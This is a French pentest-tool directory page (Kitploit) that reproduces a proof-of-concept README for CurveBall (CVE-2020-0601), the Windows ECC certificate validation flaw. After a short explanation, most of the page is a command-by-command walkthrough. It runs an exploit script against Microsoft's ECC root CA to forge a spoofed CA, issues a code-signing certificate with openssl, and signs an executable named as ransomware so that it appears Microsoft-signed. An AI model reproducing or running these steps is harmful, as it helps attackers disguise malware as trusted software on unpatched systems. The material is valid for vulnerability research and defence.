Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CurveBall-CVE-2020-0601-PoC — Exploit de preuve de concept pour CVE-2020-0601 (CurveBall) démontrant le contournement de la validation de certificat ECC pour usurper une CA de confiance et signer des exécutables arbitraires. | Kitploit
Outils/GitHubGitHub/okanulkr/curveball-cve-2020-0601-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationCryptographieTests d'IntrusionRed Teaming
GitHubokanulkr/curveball-cve-2020-0601-poc

CurveBall-CVE-2020-0601-PoC

Exploit de preuve de concept pour CVE-2020-0601 (CurveBall) démontrant le contournement de la validation de certificat ECC pour usurper une CA de confiance et signer des exécutables arbitraires.

Voir le dépôt
5il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CurveBall (CVE-2020-0601) - PoC

Cette vulnérabilité, connue sous le nom de CurveBall, est due à une vérification invalide des certificats qui utilisent l'algorithme ECC. Windows tente de vérifier les certificats précédemment vérifiés à partir du cache de certificats et, ce faisant, il vérifie uniquement si les clés publiques des certificats sont identiques et ne vérifie pas les autres paramètres.

Détails mathématiques

Pour usurper le certificat, nous définissons explicitement les paramètres comme ci-dessous :

root@kitploit:~
d' = 1 
G' = Q

Si vous avez besoin de plus d'informations, vous pouvez consulter la section des détails mathématiques du fichier final_report_milestone_IV.pdf.

Utilisation (Signature de code)

Dans cette poc, utilisons "Microsoft ECC Product Root Certificate Authority", qui est le certificat de confiance de Microsoft jusqu'à l'année 2043.

Extrayons la clé publique de l'autorité de certification (CA) et modifions-la selon la vulnérabilité

root@kitploit:~
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Nous générons un nouveau certificat x509 basé sur cette clé. Ce sera notre propre CA usurpé.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="

Pour voir le contenu de spoofed_ca.crt

root@kitploit:~
openssl x509 -in spoofed_ca.crt -noout -text

Nous générons une nouvelle clé. Cette clé peut être de n'importe quel type souhaité. Elle sera utilisée pour créer un certificat de signature de code, que nous signerons avec notre propre CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Ensuite, nous créons une nouvelle demande de signature de certificat (CSR). Cette demande serait normalement envoyée à des CA de confiance, mais puisque nous en avons une usurpée, nous pouvons la signer nous-mêmes.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Nous signons notre nouvelle CSR avec notre CA usurpé et la clé du CA. Ce certificat expirera en 2047, alors que le véritable CA de confiance de Microsoft expire en 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

Il ne reste plus qu'à empaqueter le certificat, sa clé et le CA usurpé dans un fichier PKCS12 pour signer des exécutables.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Signons notre exécutable avec le fichier PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234

Maintenant, nous avons un tout nouveau ransomware signé par Microsoft :)

Télécharger l’outil